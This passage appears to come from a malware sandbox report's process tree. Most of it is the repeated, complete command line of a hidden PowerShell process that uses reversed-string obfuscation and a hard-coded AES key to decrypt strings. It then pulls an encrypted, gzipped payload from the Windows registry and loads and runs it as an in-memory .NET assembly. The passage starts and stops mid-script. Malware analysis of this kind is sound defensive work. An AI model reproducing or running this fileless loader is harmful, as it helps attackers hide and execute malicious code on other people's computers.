'')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:2144
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:7156
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        
        PID:6388
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = 